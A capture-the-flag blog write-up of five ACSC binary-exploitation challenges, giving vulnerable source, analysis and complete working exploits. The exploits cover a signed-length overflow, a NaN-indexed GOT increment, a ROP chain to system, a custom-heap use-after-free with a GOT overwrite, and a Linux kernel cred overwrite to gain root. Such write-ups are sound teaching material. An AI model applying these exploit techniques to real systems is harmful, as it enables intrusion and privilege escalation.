I played ACSC this year. I only tried pwn challenges and was able to solve all pwn except Message Center. The challenges were pretty awesome and had new things to learn. I really enjoyed it. Here are writeups for the ones I solved.
Filtered - 100 pts - 168 solves
The relevant parts of challenge source are below:
/* Call this function! */
void win(void) {
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
exit(0);
}
void readline(const char *msg, char *buf, size_t size) {
[redacted]
/* Print `msg` and read an integer value */
int readint(const char *msg) {
char buf[0x10];
readline(msg, buf, 0x10);
return atoi(buf);
}
/* Entry point! */
int main() {
int length;
char buf[0x100];
/* Read and check length */
length = readint("Size: ");
if (length > 0x100) {
print("Buffer overflow detected!\n");
exit(1);
}
/* Read data */
readline("Data: ", buf, length);
print("Bye!\n");
return 0;
}
Looking at the source reveals that there is a win
function to get the flag. So we just need to somehow call this function.
In main
, the program reads an int
(length) then checks if it is greater than 0x100
, if it is then exits; otherwise reads that many bytes in buf
buffer of size 0x100
.
The issue here is that whenever bounds checks are to be done, unsigned
variables must be used. But, the program uses signed
variables for the bounds check. This becomes a security issue because giving a negative number passes the check and the readline
function interprets the length as an unsigned
value. Hence, reads a large number of bytes are read into the buf
buffer.
Let’s take a look at the protections on the binary.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No canary and PIE is disabled. So, we can do a simple ret2win
by giving a negative number. I chose -1
for maximum bytes.
Just calculate the offset upto RIP and put address of win
and you get the flag.
#!/usr/bin/env python3
from pwn import *
def start():
global p
if args.REMOTE:
p = remote('filtered.chal.acsc.asia', 9001)
else:
p = elf.process()
context.binary = elf = ELF('./filtered')
libc = elf.libc
start()
p.sendlineafter(': ', '-1')
p.sendlineafter(': ', b'A'*280 + p64(elf.sym.win))
p.interactive()
p.close()
Flag: ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
Histogram - 200 pts - 38 solves
Relevant source code below:
[redacted]
int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};
/* Call this function to get the flag! */
void win(void) {
char flag[0x100];
FILE *fp = fopen("flag.txt", "r");
int n = fread(flag, 1, sizeof(flag), fp);
printf("%s", flag);
exit(0);
}
int read_data(FILE *fp) {
/* Read data */
double weight, height;
int n = fscanf(fp, "%lf,%lf", &weight, &height);
if (n == -1)
return 1; /* End of data */
else if (n != 2)
fatal("Invalid input");
/* Validate input */
if (weight < 1.0 || weight >= WEIGHT_MAX)
fatal("Invalid weight");
if (height < 1.0 || height >= HEIGHT_MAX)
fatal("Invalid height");
/* Store to map */
short i, j;
i = (short)ceil(weight / WEIGHT_STRIDE) - 1; // WEIGHT_STRIDE = 10
j = (short)ceil(height / HEIGHT_STRIDE) - 1; // HEIGHT_STRIDE = 10
map[i][j]++;
wsum[i]++;
hsum[j]++;
return 0;
}
[redacted]
int main(int argc, char **argv) {
if (argc < 2)
fatal("No input file");
/* Open CSV */
FILE *fp = fopen(argv[1], "r");
if (fp == NULL)
fatal("Cannot open the file");
/* Read data from the file */
int n = 0;
while (read_data(fp) == 0)
if (++n > SHRT_MAX)
fatal("Too many input");
[redacted]
}
This program also has a win
function. We just need a way to execute it.
The program basically reads the Comma-separated-values (CSV) file given as first argument, reads the values, perform some checks and increments the relevant point in the map for the weight,height
values for making a histogram. weight
and height
are read as floats. The program does not have a vulnerability.
The issue actually appears due to a special feature. The floats are defined by IEEE-754 standard. This standard defines some special values. Namely: NaN
(Not-a-Number), inf
, -inf
(infinities) and -0
.
We can try using these special values to see how the program behaves.
Using -0
works same as 0
and fails the check. Trying inf
and -inf
doesn’t pass the checks either.
But, NaN
is special. The standard defines interesting properties for it. The most interesting are the comparisons. Whenever NaN
is compared to a number-like variable, the comparison evaluates to False
. Even NaN == NaN
is not true.
So, using NaN,1
passes the check. Its value is actually 0x80000000
. After all the arithmetic, it becomes 0x7fffffff
and lands us at 0x404028
which is GOT for fread
. Increasing height
by multilples of ten lets us move across the GOT and, hence, increment any GOT value.
I decided to increment GOT of fclose
because it is executed at end and has no occurences before that. So, the GOT will have a binary address. NaN,30
lands us at GOT of fclose
. I need to increment it 0x401268 - 0x401060 = 0x208
times. I created exploit.csv
using the following one-liner.
open('exploit.csv', 'w+').write('NaN,30\n'*0x208)
The website had some issues so I used the following python script to send the file.
import requests
req = requests.post('https://histogram.chal.acsc.asia/api/histogram', files = {"csv" : open("exploit.csv", "rb")}, verify = False)
print(req.text)
Flag: ACSC{NaN_demo_iiyo}
CArot - 320 pts - 18 solves
Relevant code below:
[redacted]
char gif[14] = {
0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x3b
};
[redacted]
#define BUFFERSIZE 512
char* http_receive_request() {
long long int read_limit = 4096;
connect_mode = -1;
char buffer[BUFFERSIZE] = {};
scanf("%[^\n]", buffer);
getchar();
if (memcmp(buffer, "GET ", 4) != 0) return NULL;
int n = strlen(buffer);
read_limit -= n;
if (n < 9) return NULL;
char* tail = buffer + n-9;
if (memcmp(tail, " HTTP/1.0", 9) != 0 &&
memcmp(tail, " HTTP/1.1", 9) != 0) return NULL;
*tail = '\0';
char* ret = strdup(buffer+4);
*tail = ' ';
while (1) {
buffer[0] = '\0';
scanf("%[^\n]", buffer);
getchar();
int n = strlen(buffer);
if (n == 0) break;
[redacted]
int main() {
setbuf(stdout, NULL);
while (1) {
char* fname = http_receive_request();
if (fname == NULL) {
http_send_reply_bad_request();
} else {
try_http_send_reply_with_file(fname);
free(fname);
}
if (connect_mode != KEEP_ALIVE) break;
}
}
Analyzing the source reveals that this is something like a webserver. The upcoming request should be a GET
request and must have either HTTP/1.0
or HTTP/1.1
at end. The path is stored in buffer
of size 512
bytes. But, bytes are read using scanf("%[^\n]", buffer);
. This scanf
is bounds-unaware and reads bytes until it receives a null byte. This effectively imitates the notorious gets
function except that it leaves the newline in the stream. Hence, a buffer overflow vulnerability. Then it reads some other headers, but this can be skipped using a simple newline.
This program does not have a win
function, so we need some other primitive to read the flag.
One thing to note about this challenge is that we don’t have direct interaction with the binary. Following script works as a proxy between us and the binary.
#!/usr/bin/python3
from time import sleep
from sys import stdin, stdout, exit
from socket import *
LIMIT = 4096
buf = b''
while True:
s = stdin.buffer.readline()
buf += s
if len(buf) > LIMIT:
print('You are too greedy')
exit(0)
if s == b'\n':
break
p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 11452))
p.sendall(buf)
sleep(2)
p.setblocking(False)
res = b''
try:
while True:
s = p.recv(1024)
if not s:
break
res += s
except:
pass
stdout.buffer.write(res)
Lets check protections enabled.
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No PIE and NX hint at a ROP challenge, GOT is not writeable and there’s no canary.
Now it’s pretty clear that it’s a ROP challenge. But, because we don’t have direct interaction with the binary we can’t do a simple ret2libc
attack. We need to build something like that using the existing gadgets.
Following are the gadgets I used:
pop_rbp = 0x400828
pop_rdi = 0x4010d3
pop_rbx_pop_rbp_pop_4 = 0x4010ca
pop_rsi_pop_r15 = 0x4010d1
ret = pop_rdi + 1
mov_rax_qword_rbp_8 = 0x400b7d
mov_qword_rbp_0x30_rax = 0x400cae
add_dword_rbp_0x3d_ebx = 0x400888
jmp_qword_rbp = 0x4014fb
The whole idea behind my ROP chain is to read address of printf
to a writeable area, increment it to make it system
address, read a string for argument of system
then call system with the string.
pseudo-code below:
rax = qword ptr [printf's GOT]
rbx = system - printf
rbp = &gif - 8
[rbp] = rax // write printf address
[&gif - 8] += rbx // increment
scanf("%[^\n]", &gif) // read the command
rdi = &gif
rbp = &gif - 8
jmp [rbp] // system(&gif)
My exploit:
#!/usr/bin/env python3
from pwn import *
def start():
global p
if args.REMOTE:
p = remote('167.99.78.201', 11451)
else:
p = elf.process(env = {"LD_PRELOAD": libc.path})
context.binary = elf = ELF('./carot')
libc = ELF('./libc-2.31.so')
pop_rbp = 0x400828
pop_rdi = 0x4010d3
pop_rbx_pop_rbp_pop_4 = 0x4010ca
pop_rsi_pop_r15 = 0x4010d1
ret = pop_rdi + 1
mov_rax_qword_rbp_8 = 0x400b7d
mov_qword_rbp_0x30_rax = 0x400cae
add_dword_rbp_0x3d_ebx = 0x400888
jmp_qword_rbp = 0x4014fb
junk = u64(b'JUNKJUNK')
ropchain = [
pop_rbp, elf.got.printf + 8,
mov_rax_qword_rbp_8,
junk, junk, junk,
pop_rbx_pop_rbp_pop_4, (libc.sym.system - libc.sym.printf) & 0xffffffff, elf.sym.gif - 8 + 0x30,
junk, junk, junk, junk,
mov_qword_rbp_0x30_rax,
junk, junk, junk, junk, junk, junk, elf.sym.gif - 8 + 0x3d, # rbp
add_dword_rbp_0x3d_ebx,
pop_rdi, 0x4012f0,
pop_rsi_pop_r15, elf.sym.gif,
junk,
elf.plt.__isoc99_scanf,
pop_rdi, elf.sym.gif,
pop_rbp, elf.sym.gif - 8,
ret,
jmp_qword_rbp
]
payload = b''.join([p64(x) for x in ropchain])
start()
p.sendline(b'A'*536 + payload)
p.sendline('cat flag.txt')
p.sendline()
p.interactive()
p.close()
Flag: ACSC{buriburi_1d3dfb9bf7654412}
bvar - 380 pts - 22 solves
Relevant code below:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct node_data{
char data[0x8];
char name[0x4];
};
struct node{
struct node_data *data;
struct node *next;
struct node *prev;
};
char c_memory[1000];
unsigned int c_size = 0;
char* freelist[10];
int free_head=0;
struct node *head;
struct node_data *temp_memory;
char* c_malloc(unsigned int size){
int temp = 0;
if(size < 4)
size = 4;
if(c_size + (size+4) > 999){
printf("No Space :(\n");
exit(1);
}
if(free_head==0){
temp = (size+4);
memcpy(&c_memory[c_size],&temp,4);
temp = c_size + 4;
c_size += (size + 4);
return &c_memory[temp];
}
else{
return freelist[--free_head];
}
}
void c_free(char *ptr){
if(free_head==10)
return;
freelist[free_head++] = ptr;
}
[redacted]
int main(){
[redacted]
init();
while(1){
memset(input,0,0x18);
memset(data,0,0x9);
memset(name,0,0x5);
printf(">>> ");
read(0,input,0x10);
if(input[strlen(input)-1] == '\n')
input[strlen(input)-1] = '\x00';
split = strchr(input,'=');
[redacted]
else{
if(!strncmp("delete",input,6)){
for(temp=head; temp!=NULL; temp=temp->next){
if(!strncmp(temp->data->name,&input[7],4)){
if(temp->prev)
temp->prev->next = temp->next;
if(temp->next)
temp->next->prev = temp->prev;
c_free(temp->data);
c_free(temp);
printf("delete!\n");
break;
}
}
}
[redacted]
This program stores pairs of name
and data
using custom heap-like functionality. The name
can be of 4 bytes and data can be of 8 bytes at maximum. The pairs are stored in a doubly-linked list using node
and node_data
structs. It lets us add
, delete
, clear
the head, edit
and print
node and its data.name
and data
need to be separated by =
.
Analyzing the program reveals two issues:
- The freelist is same for all sizes. (size is just a number)
- When we delete the
head
node,head
pointer is not cleared.
So, when we free the head
node and add a new node, because of LIFO, the node_data
of head becomes node
and node
becomes node_data
of the new node. name
of new node is written in the next
area of head
and since name is read using read
, no null-byte termination.
This lets us control which values will be checked for further operations when the list is traversed.
Lets check protections enabled:
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
PIE is enabled and RELRO is disabled. So, we will most likely do a GOT overwrite, but for that we need a binary leak.
Since, the heap-like implementation is in bss, so, leaking a pointer from one of the structures will give us a binary leak.
For leak, I overwrote the next
pointer’s lsb to 0xc8
, which points to data
of new node. Since, new node’s next
is null, sending an empty string will match with it and return the data
pointer using the printing mechanism.
0x55e6239f5508: 0x000055e6239f5594 <---- head
gef➤ x/2gx 0x000055e6239f5594
0x55e6239f5594: 0x000055e6239f55c0 0x000055e6239f55c8 <---- data and next of
head node and data and
name of new node
gef➤ x/2gx 0x000055e6239f55c8
0x55e6239f55c8: 0x000055e6239f5584 0x0000000000000000 <---- data and name
of head and data and
next of new node
This gives 0x000055e6239f5584
.
But, for properly using the GOT overwrite, we need a libc leak also.
I cleared the head
and repeated the same mechanism for libc leak using exit
’s GOT because it was last in the list of GOT but with 0x08
for the overwrite. This way I get exit
’s address and calculate libc base using it.
Finally, time for the overwrite. I decided to do overwrite strlen
’s GOT because it was the first function our input was fed into and has a signature like system.
Once again, cleared the head
, created two nodes; second one with address of GOT of strlen - 8
because the edit function lets us edit 4 bytes of name
only. That’s enough because the upper 4 bytes are same for all libc addresses, Freed the head
, created a new node, overwrote lsb with 0x60
which points to the the location of GOT of strlen - 8
, send edit
with lower 4 bytes of strlen
then edit strlen
to system
. Then simply sending /bin/sh
gives shell.
0x55713605a508: 0x000055713605a644 <---- head
gef➤ x/2gx 0x000055713605a644
0x55713605a644: 0x000055713605a670 0x000055713605a660 <---- data and next of
head node and data and
name of new node
gef➤ x/2gx 0x000055713605a660
0x55713605a660: 0x000055713605a428 0x0000001c31323334 <---- data and name
of head and data and
next of new node
gef➤ x/gx 0x000055713605a428
0x55713605a428 <puts@got.plt>: 0x00007f23ab24c5a0
0x55713605a430 <strlen@got.plt>: 0x00007f23ab279d30 <--- target
There was one small issue with this approach. strlen
is a function having different implementations (ifunc) in libc which are used based upon the system libc is running on. For some reason, different implementations were used on my machine and the remote server.
To get the specific implemention, I leaked the strlen
’s address on remote using the same leaking mechanism because after strlen
there’s is __stack_chk_fail
’s GOT which is same on my machine and remote server. Then simple offset calculation.
Final exploit below:
#!/usr/bin/env python3
from pwn import *
def start():
global p
if args.REMOTE:
p = remote('167.99.78.201', 7777)
else:
p = elf.process(env = {"LD_PRELOAD": libc.path + ":./ld-2.31.so"})
def add(name: bytes, data: bytes):
p.sendlineafter('>>> ', name + b'=' + data)
return name[:4]
def delete(name: bytes):
p.sendlineafter('>>> ', b'delete ' + name)
def edit(name: bytes, new_name: bytes):
p.sendlineafter('>>> ', b'edit ' + name)
time.sleep(1)
p.sendline(new_name)
def show(name: bytes):
p.sendlineafter('>>> ', name)
def clear():
p.sendlineafter('>>> ', 'clear')
context.binary = elf = ELF('./bvar_patched')
libc = ELF('./libc-2.31.so')
start()
a = add(b'1234', b'test1')
b = add(b'4321', b'test2')
delete(a)
c = add(b'\xc8', b'hack')
show(b'')
binary_leak = u64(p.recvline(False).ljust(8, b'\x00'))
elf.address = binary_leak - 0x3594
clear()
a = add(b'1234', b'test1')
b = add(b'4321', p64(elf.got.exit))
delete(a)
c = add(b'\x08', b'hack')
show(b'')
libc_leak = u64(p.recvuntil('\x7f').ljust(8, b'\x00'))
libc.address = libc_leak - libc.sym.exit
clear()
a = add(b'1234', b'test1')
b = add(b'4321', p64(elf.got.strlen - 8))
delete(a)
c = add(b'\x60', b'hack')
if args.REMOTE:
edit(p32((libc.address + 0x18b660) & 0xffffffff), p32(libc.sym.system & 0xffffffff))
else:
edit(p32((libc.address + 0xb4d30) & 0xffffffff), p32(libc.sym.system & 0xffffffff))
p.sendlineafter('>>> ', '/bin/sh')
p.interactive()
p.close()
Flag: ACSC{PWN_1S_FUN_5W33T_D3liC1ous :)}
sysnote - 400 pts - 5 solves
This is a kernel pwn challenge. Some syscalls are added into kernel. This was special for me because I recently learned some kernel pwning techniques and this was my first time solving a kernel challenges during a CTF. I will skip some beginner stuff here, for that checkout my writeup for a kernel challenge.
Code for the syscalls is below:
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/compiler.h>
#include <linux/export.h>
#include <linux/fault-inject-usercopy.h>
#include <linux/kasan-checks.h>
#include <linux/thread_info.h>
#include <linux/uaccess.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/mm.h>
#define MAX_LENGTH 4096
// Linux version 5.13.0+ (zzoru@ubuntu) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils) 2.36.1) #20 SMP Sat Aug 14 07:01:51 PDT 2021
/* Looks like there is no strcpy_from_user function in kernel... so i made it! */
long strcpy_from_user(char *dst, const char __user *src)
{
unsigned long max_addr, src_addr;
long res = 0;
might_fault();
if (should_fail_usercopy())
return -EFAULT;
max_addr = user_addr_max();
src_addr = (unsigned long)untagged_addr(src);
if (likely(src_addr < max_addr)) {
unsigned long max = max_addr - src_addr;
if (user_read_access_begin(src, max)) {
while (max) {
char c;
unsafe_get_user(c,src+res, efault);
if (!c)
return res;
dst[res] = c;
res++;
max--;
}
user_read_access_end();
return res;
}
}
efault:
return -EFAULT;
}
SYSCALL_DEFINE0(current_addr)
{
return (long)current;
}
SYSCALL_DEFINE1(add_note, const char __user *, str)
{
return strcpy_from_user(current->note, str);
}
SYSCALL_DEFINE0(delete_note)
{
memset(current->note, 0, sizeof(current->note));
return 0;
}
SYSCALL_DEFINE1(show_note, const char __user *, str)
{
return copy_to_user((void *)str, current->note, strlen(current->note));
}
SYSCALL_DEFINE1(copy_note, const char __user *, str)
{
return copy_from_user(current->note, (void *)str, sizeof(current->note));
}
Looking at the code reveals that these syscalls deal with current task_struct
and its member note
. note
is not a member of task_struct
in the actual kernel, it was added in k.patch
file just before the cred struct
s of the current process.
[redacted]
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index ce18119ea0d0..5c4421684aa3 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -413,3 +413,9 @@
547 x32 pwritev2 compat_sys_pwritev64v2
# This is the end of the legacy x32 range. Numbers 548 and above are
# not special and are not to be used for x32-specific syscalls.
+
+548 64 add_note sys_add_note
+549 64 delete_note sys_delete_note
+550 64 show_note sys_show_note
+551 64 copy_note sys_copy_note
+552 64 current_addr sys_current_addr
\ No newline at end of file
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 32813c345115..2b74ab806a32 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -946,6 +946,8 @@ struct task_struct {
struct posix_cputimers_work posix_cputimers_work;
#endif
+
+ char note[1024]; <----- here
/* Process credentials: */
/* Tracer's credentials at attach: */
[redacted]
We also get the syscall numbers for the new syscalls. Following is an overview of each syscall:
add_note
: copies a user provided buffer into the note using a dangerousstrcpy_from_user
function (buffer overflow; doesn’t allow null bytes)delete_note
: nulls the whole noteshow_note
: copies note (until a null) to a userland buffercopy_node
: copies 1024 bytes from user buffer to note (allows null bytes)current_addr
: gives address of current process’stask_struct
Since the note is adjacent to the cred struct
, the best way to become root is to overwrite cred
with init_cred
But for that, we need a kernel leak. Since we get current_task
using current_addr
syscall, I checked task_struct
for kernel pointers and found a kernel pointer after some values from current_cred
pointer.
0xffff8880043f2da8: 0x0000000000000000 0xffff888004433780 <---- real_cred
0xffff8880043f2db8: 0xffff888004433780 0x0000000000000000 <---- cred
0xffff8880043f2dc8: 0x0074696f6c707865 0x0000000000000064
0xffff8880043f2dd8: 0x0000000000000000 0x0000000000000000
0xffff8880043f2de8: 0xffff8880043f2de8 0xffff8880043f2de8
0xffff8880043f2df8: 0xffff8880044107c0 0xffff88800312c840
0xffff8880043f2e08: 0x0000000000000000 0xffffffff8244e8a0 <---- kernel pointer
Initially, I tried overwriting values upto this pointer, copying note, calculate kernel base, overwrite cred
with init_cred
and spawn a shell. But, becuase null bytes are not allowed in strcpy_from_user
and leaving random values makes the kernel panic.
I was stuck here for a long time then I decided to overwrite cred
to address of the kernel pointer - 4
and use getuid
to read its lower 4 bytes and getgid
for upper 4 bytes. -4
because in cred struct
the first int
is a magic number and uid
is stored after the magic number. Reading the lower 4 bytes worked fine but trying to read upper 4 bytes always gave 0xfffe
instead of 0xffffffff
; because the upper 4 bytes were always 0xffffffff
and it correspond to -1
, so, it thought it was an error. So, I just hardcoded 0xffffffff
because it was same everytime.
After getting the pointer, I replaced real_cred
and cred
with init_cred
and spawned a shell.
You just have to be careful about not printing anything before repairing cred
because write
syscall does some checks which are done using selinux_file_permission
which are based on cred
, having an invalid pointer will make the kernel panic.
Final exploit:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <syscall.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#define ADD_NOTE 548
#define DEL_NOTE 549
#define SHOW_NOTE 550
#define COPY_NOTE 551
#define CURRENT_ADDR 552
uint64_t buf[256] = {0};
uint64_t copy[256] = {0};
void make_copy(int offset){
memset(buf, 'A', (128 + offset)*8);
syscall(ADD_NOTE, buf);
syscall(SHOW_NOTE, buf);
copy[128 + offset] = buf[128 + offset];
}
int main(int argc, char* argv[]){
uint64_t current_addr = syscall(CURRENT_ADDR);
printf("current task: %p\n", current_addr);
make_copy(1);
uint64_t current_cred = copy[128 + 1];
uint64_t note = current_addr + 0xab8 - 8*2 - 1024;
copy[128 + 1] = 0;
buf[128] = current_addr + 0xb10 - 4;
buf[128 + 1] = current_addr + 0xb10 - 4;
buf[128 + 2] = current_addr + 0xb10 - 4;
syscall(ADD_NOTE, buf);
uint32_t lower = getuid();
uint32_t upper = 0xffffffff;
uint32_t tmp[2] = {lower, upper}; // it works this way ¯\_(ツ)_/¯
uint64_t leak = *(long *)tmp;
buf[128] = current_cred;
buf[128 + 1] = current_cred;
buf[128 + 2] = current_cred;
syscall(ADD_NOTE, buf);
printf("%p\n", leak);
uint64_t kbase = leak - 0x144e8a0;
uint64_t init_cred = kbase + 0x144eac0;
buf[128] = init_cred;
buf[128 + 1] = init_cred;
buf[128 + 2] = init_cred;
syscall(ADD_NOTE, buf);
system("whoami; sh");
}
Flag: ACSC{m0mmy, 1 r34lly h4t3 7hi5 n0te}
Lastly, props to the organizers for amazing CTF.
If you have any question, hit me on discord stdnoerr#7880